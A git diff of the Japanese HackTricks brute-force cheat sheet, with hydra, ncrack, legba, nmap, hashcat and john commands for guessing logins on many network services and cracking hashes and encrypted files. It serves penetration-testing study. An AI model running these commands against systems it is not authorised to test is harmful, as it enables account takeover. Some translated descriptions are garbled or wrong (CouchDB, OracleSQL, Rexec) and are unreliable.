Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。 @@ -41,7 +41,7 @@ HackTricksをサポートする他の方法: ## **独自の辞書を作成する** -ターゲットに関する情報をできるだけ多く見つけ、カスタム辞書を生成します。役立つツール: +ターゲットに関する情報をできるだけ見つけ、カスタム辞書を生成します。役立つツール: ### Crunch ```bash @@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%% ``` ### Cewl -Cewlは、Webサイトから単語リストを生成するためのツールです。通常、Cewlは、Webサイトのテキストから単語を抽出し、それらをリスト化します。これにより、後でブルートフォース攻撃やパスワードスプレー攻撃で使用するための単語リストを作成できます。 +Cewlは、Webサイトから単語リストを生成するためのツールです。通常、辞書攻撃やブルートフォース攻撃の準備段階で使用されます。 ```bash cewl example.com -m 5 -w words.txt ``` @@ -68,7 +68,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツールです。 +特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるワードリストジェネレーターツール。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -102,7 +102,7 @@ Finished in 0.920s. * [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) * [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) - + \ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ @@ -126,7 +126,7 @@ msf> run ``` ### AJP -AJP(Apache JServ Protocol)は、Apache Tomcatサーバーとの通信に使用されるプロトコルです。AJPを使用してTomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードや認証情報を破る試行を行う攻撃手法です。 +AJP(Apache JServ Protocol)は、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用して、Tomcatサーバーに対してBrute Force攻撃を実行することができます。 ```bash nmap --script ajp-brute -p 8009 ``` @@ -136,11 +136,7 @@ nmap --script ajp-brute -p 8009 ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` -### Cassandra - -#### Brute Force - -ブルートフォース攻撃は、Cassandra クラスターに対して有効な攻撃手法の1つです。この攻撃手法は、辞書攻撃や総当たり攻撃を使用して、ユーザー名やパスワードなどの認証情報を破ることを試みます。これにより、悪意のある攻撃者がシステムに不正アクセスする可能性があります。ブルートフォース攻撃からシステムを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を設定することが重要です。 +### カサンドラ ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra @@ -148,7 +144,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo ``` ### CouchDB -CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、`max_document_size`と`max_request_size`の設定を適切に構成することが重要です。これらの設定を適切に構成することで、大量のリクエストや大きなドキュメントのアップロードを制限し、システムを保護することができます。 +CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下のようなセキュリティ対策を実装しています。 ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / @@ -165,18 +161,18 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl ``` ### FTP -FTP(File Transfer Protocol)は、ファイルをサーバーとクライアント間で転送するためのプロトコルです。 +FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。FTPサーバーは、一般的にポート21でリッスンしています。 ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### HTTPジェネリックブルート +### HTTP ジェネリックブルート #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTPベーシック認証 +### HTTP ベーシック認証 ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https @@ -185,7 +181,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht ``` ### HTTP - NTLM -NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。NTLM認証のブルートフォース攻撃は、辞書攻撃やランダムなパスワードの組み合わせを試行することによって行われます。 +NTLM(NT LAN Manager)は、Windowsベースのシステムで使用される認証プロトコルです。NTLM認証をバイパスするために、ブルートフォース攻撃を使用することができます。 ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ @@ -197,14 +193,14 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl ``` ### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle -httpsの場合、"http-post-form"から"**https-post-form"**に変更する必要があります。 +**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP -IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It supports both online and offline modes, allowing users to access their email from different devices. IMAP operates over port 143 by default. +IMAP(Internet Message Access Protocol)は、電子メールを受信するためのプロトコルです。IMAPサーバーへの不正アクセスを試みる際には、一般的にユーザー名とパスワードの組み合わせを総当たり攻撃(Brute Force Attack)することが一般的です。 ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -213,19 +209,19 @@ legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC -IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースのコミュニケーションを可能にします。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測しようとすることができます。 +IRC(Internet Relay Chat)は、オープンソースのリアルタイムチャットプロトコルであり、通常はテキストベースのチャットに使用されます。IRCは、チャットルームや個人間のメッセージングなど、さまざまなコミュニケーション形式をサポートしています。 ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` ### ISCSI -### ISCSI +iSCSI (Internet Small Computer System Interface) is a protocol that allows SCSI commands to be sent over a network. It is commonly used in storage area networks (SANs) to provide block-level access to storage devices. ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` ### JWT -JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、ヘッダー、ペイロード、および署名から構成されています。JWTの署名を検証するためには、公開鍵が必要です。JWTの署名を検証するためには、公開鍵が必要です。 +JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、署名されたトークンを生成し、それを送信者と受信者の間で安全に伝送するために使用されます。 ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -250,19 +246,21 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm ``` ### LDAP -LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスプロトコルであり、ユーザー情報やリソース情報を管理するために広く使用されています。LDAPサーバーへの不正アクセスを試みる場合、Brute Force攻撃が有効な手法として使用されます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、辞書攻撃やランダムなパスワードの組み合わせを使用して、正しい認証情報を見つけることを試みます。LDAPサーバーに対するBrute Force攻撃は、適切なセキュリティ対策が講じられていない場合に成功する可能性があります。 +LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードなどの情報を取得することが可能です。 ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT -### MQTT +#### Brute Force + +Brute force attacks against MQTT involve attempting to connect to the MQTT broker using a large number of possible username and password combinations. This can be done using automated tools that systematically try different combinations until the correct one is found. It is important to use strong, unique credentials to prevent successful brute force attacks. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` -### Mongo +### モンゴ ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login @@ -270,9 +268,7 @@ legba mongodb --target localhost:27017 --username root --password data/passwords ``` ### MSSQL -#### Brute Force - -Brute force attacks against MSSQL servers can be performed using tools like **Hydra** or **Ncrack**. These tools allow an attacker to systematically check all possible passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts if too many incorrect attempts are made. It is recommended to use strong and complex passwords to mitigate the risk of a successful brute force attack. +MSSQL(Microsoft SQL Server)は、一般的なブルートフォース攻撃の標的です。ブルートフォース攻撃は、辞書攻撃やランダムなパスワードの組み合わせを使用して、MSSQLサーバーにログインするための正しい認証情報を見つけようとします。 ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` @@ -294,13 +290,9 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos ``` ### OracleSQL -#### Brute Force +### OracleSQL -Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable. - -#### Prevention - -To prevent brute force attacks on OracleSQL databases, it is essential to use strong, complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help mitigate the risk of unauthorized access. Regularly monitoring and reviewing access logs can also help detect and prevent brute force attacks. +OracleSQLは、データベースに対してBrute Force攻撃を行う際に使用できるツールやスクリプトが豊富に利用可能です。Brute Force攻撃は、総当たり攻撃とも呼ばれ、パスワードや認証情報を破るために使用されます。OracleSQLを使用することで、データベースのセキュリティをテストし、脆弱性を特定することができます。 ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -328,13 +320,13 @@ legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin - ```bash pip3 install cx_Oracle --upgrade ``` -[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)(**バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2**、および**11.2.0.3**): +[オフラインOracleSQLハッシュブルートフォース](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)(バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP -POP(Post Office Protocol)は、電子メールを受信するためのプロトコルです。 +POP(Post Office Protocol)は、電子メールを受信するためのプロトコルです。POP攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測し、メールアカウントにアクセスすることを試みます。 ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -347,7 +339,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar ``` ### PostgreSQL -PostgreSQLは、データベースへのアクセスを試みる際にBrute Force攻撃を使用することができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行して正しい認証情報を見つける手法です。これにより、不正アクセスを試みる攻撃者がデータベースにアクセスできる可能性があります。Brute Force攻撃からデータベースを保護するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。 +PostgreSQLは、Brute Force攻撃に対して脆弱なパスワードを持つ可能性があるため、強力なパスワードポリシーを実装することが重要です。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -359,14 +351,14 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho ``` ### PPTP -[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)からインストール用の`.deb`パッケージをダウンロードできます。 +[https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) からインストール用の `.deb` パッケージをダウンロードできます。 ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP -RDP(Remote Desktop Protocol)は、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPブルートフォース攻撃は、一連のユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけることを目的としています。これにより、攻撃者はシステムに不正アクセスできる可能性があります。 +RDP(Remote Desktop Protocol)は、Windowsマシンにリモートでアクセスするためのプロトコルです。RDPブルートフォース攻撃は、一連のユーザー名とパスワードの組み合わせを試し、正しい認証情報を見つけることを目的としています。 ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// @@ -374,7 +366,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt ``` ### Redis -Redis(リディス)は、オープンソースのインメモリデータ構造ストアであり、ネットワーク経由でデータをキャッシュするために使用されます。Redisサーバーに対してブルートフォース攻撃を行うことができます。 +### Redis ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -383,32 +375,22 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t ``` ### Rexec -### Rexec - -Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。このツールは、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムに不正アクセスを試みます。Rexecは、セキュリティテストや侵入テスト中に使用されることがあります。 +Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。通常、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムに不正アクセスを試みます。 ```bash hydra -l -P rexec:// -v -V ``` ### Rlogin - -Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute-force攻撃を行う際には、ツールやスクリプトを使用して自動化することが一般的です。 ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh -#### Brute Force - -Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Tools like Hydra and Medusa can automate the process of brute forcing passwords. It is important to note that brute force attacks can be detected and prevented by implementing measures such as account lockouts after a certain number of failed attempts. +Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを使ってリモートシステムにログインするためのプロトコルです。Brute force攻撃に対して脆弱であるため、セキュリティ上のリスクが高いとされています。 ```bash hydra -L rsh:// -v -V ``` [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) -### Rsync - -### Rsync - ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -420,8 +402,6 @@ RTSP(Real Time Streaming Protocol)は、リアルタイムのデータ配信 hydra -l root -P passwords.txt rtsp ``` ### SFTP - -SFTP(SSH File Transfer Protocol)は、SSHプロトコルを使用してファイルを安全に転送するためのプロトコルです。Brute force攻撃は、SFTPサーバーに対して一連のパスワードを試すことでアクセスを試みる方法の1つです。 ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder @@ -429,7 +409,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar ``` ### SNMP -SNMP(Simple Network Management Protocol)は、ネットワークデバイスの監視や管理に使用されるプロトコルです。 SNMPのバージョン1および2では、コミュニティ文字列を使用してデバイスにアクセスします。これは、Brute Force攻撃で破られる可能性があるため、セキュリティ上のリスクがあります。 +SNMP(Simple Network Management Protocol)は、ネットワークデバイスやサーバーなどの機器を監視し、管理するために使用される標準プロトコルです。 ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] @@ -438,7 +418,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta ``` ### SMB -SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。 +SMB(Server Message Block)は、ネットワークファイル共有プロトコルであり、Windowsシステムで広く使用されています。 SMBのバージョン1はセキュリティ上の脆弱性が多いため、最新のバージョンにアップグレードすることが推奨されています。 SMBへのBrute Force攻撃は、一般的な攻撃手法の1つであり、辞書攻撃や総当たり攻撃などが使用されます。 ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 @@ -446,7 +426,7 @@ legba smb --target share.company.com --username admin --password data/passwords. ``` ### SMTP -Simple Mail Transfer Protocol(SMTP)は、電子メールを送信するために使用される標準プロトコルです。SMTPサーバーへのアクセスを狙ったBrute Force攻撃は、一般的な手法の1つです。Brute Force攻撃では、自動化されたツールを使用して、パスワードを継続的に推測し、正しいパスワードを見つけることを試みます。 +SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するための標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。 ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL @@ -454,7 +434,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar ``` ### SOCKS -SOCKSは、ネットワークプロトコルであり、通常、ファイアウォールをバイパスするために使用されます。通常、SOCKSプロキシを使用して、Brute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、自動化されたツールを使用して、パスワードや暗号鍵を破るために大量の試行を行う攻撃手法です。 +### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt @@ -463,7 +443,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. ``` ### SQL Server -SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。SQL ServerへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みる手法です。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な攻撃手法となり得ます。 +SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。 ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -474,7 +454,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts ``` ### SSH -SSH(Secure Shell)は、ネットワークプロトコルであり、暗号化された通信セッションを確立するために使用されます。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的とし、自動化されたツールを使用して大量のパスワードを試行します。SSHブルートフォース攻撃から自分のサーバーを保護するためには、強力なパスワードポリシーを実装し、公開鍵認証を使用することが重要です。 +SSH(Secure Shell)は、リモートマシンに安全にアクセスするためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用して、SSHサーバーに強制的にログインを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを使用している場合や、パスワード認証が有効になっている場合に特に危険です。 ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -486,7 +466,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### 弱いSSHキー / Debian予測可能なPRNG -一部のシステムには、暗号資材を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールを使用してブルートフォース攻撃が可能となります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。 +一部のシステムには、暗号資材を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、大幅に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能となります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。 ### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ) @@ -496,7 +476,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords. ``` ### Telnet -Telnetは、ネットワーク上の別のコンピューターに接続するためのプロトコルです。通常、ユーザー名とパスワードを要求するため、Brute Force攻撃の対象となります。 +Telnetは、ネットワーク上の別のコンピューターにログインするためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対して一連のユーザー名とパスワードの組み合わせを試すことで行われます。 ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -513,7 +493,7 @@ legba telnet \ ``` ### VNC -VNC(Virtual Network Computing)は、リモートデスクトッププロトコルであり、リモートコンピューターの画面を表示および制御するために使用されます。VNCのブルートフォース攻撃は、一連のパスワードを試行し、正しいパスワードを見つけることを目的としています。 +VNC(Virtual Network Computing)は、リモートデスクトッププロトコルの1つであり、GUIを持つコンピュータシステムをリモートで制御するために使用されます。 VNCのパスワード認証は、通常、ブルートフォース攻撃に対して脆弱です。 ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -532,10 +512,10 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` - + \ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -556,7 +536,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -ハッシュをブルートフォースする前にこれをチェックしてください。 +ハッシュをブルートフォース攻撃する前に、これをチェックしてください。 ### ZIP ```bash @@ -574,10 +554,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### 既知の平文zip攻撃 +#### 既知の平文 zip 攻撃 -暗号化されたzipファイル内に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化されたzipに含まれるファイルの**ファイル名とサイズを確認するには**、**`7z l encrypted.zip`**を実行します。\ -[**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 +暗号化された zip ファイルの中に含まれるファイルの**平文(または平文の一部)を知る必要があります。** 暗号化された zip ファイルに含まれるファイルの**ファイル名とサイズを確認するには、**`7z l encrypted.zip`**を実行します。\ +[**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)をリリースページからダウンロードしてください。 ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -591,7 +571,7 @@ unzip unlocked.zip #User new_pwd as password ``` ### 7z -7zは、ファイルアーカイブと圧縮ユーティリティで、ブルートフォース攻撃の対象となることがあります。ブルートフォース攻撃を行うためには、通常、辞書攻撃やランダムなパスワードの生成を行うことが推奨されます。 +### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -604,7 +584,7 @@ apt-get install libcompress-raw-lzma-perl ``` ### PDF -PDF(Portable Document Format)は、さまざまな種類の情報を表現するためのファイル形式です。PDFファイルは通常、テキスト、画像、フォーム、署名などを含むことができます。PDFファイルは一般的に、文書の保存や共有に広く使用されています。 +PDFファイルは、一般的にパスワード保護されており、ブルートフォース攻撃を使用してアクセスできます。ブルートフォース攻撃は、すべての可能なパスワードの組み合わせを試行し、正しいパスワードを見つける攻撃手法です。 ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -615,7 +595,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDFオーナーパスワード -PDFのオーナーパスワードを解読するには、[こちら](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)を参照してください。 +PDFオーナーパスワードを解読するには、こちらを参照してください: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -629,16 +609,12 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` -### NTLM cracking - -### NTLM クラッキング +### NTLM クラック ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -### Keepass - ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john @@ -649,15 +625,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting -Keberoastingは、Active DirectoryのKerberosサービスに対する攻撃手法です。攻撃者は、Kerberosサービスから取得したサービスアカウントのユーザー名を使用して、そのアカウントに関連付けられたサービスのチケットを取得します。その後、攻撃者はそのチケットをオフラインで解読し、サービスアカウントのパスワードを取得します。 +Keberoastingは、Active Directory環境で使用されるサービスアカウントの非対話型攻撃手法です。攻撃者は、サービスアカウントのSPN(Service Principal Name)を取得し、その情報を使用してKerberosチケットを取得します。これにより、攻撃者はオフラインで攻撃を実行し、チケットをクラックしてサービスアカウントのパスワードを取得できます。 ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Lucks image +### ラックス イメージ -#### 方法1 +#### メソッド 1 インストール: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash @@ -690,18 +666,18 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` ### Cisco - + ### DPAPI Master Key -[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)を使用して、その後johnを使用します 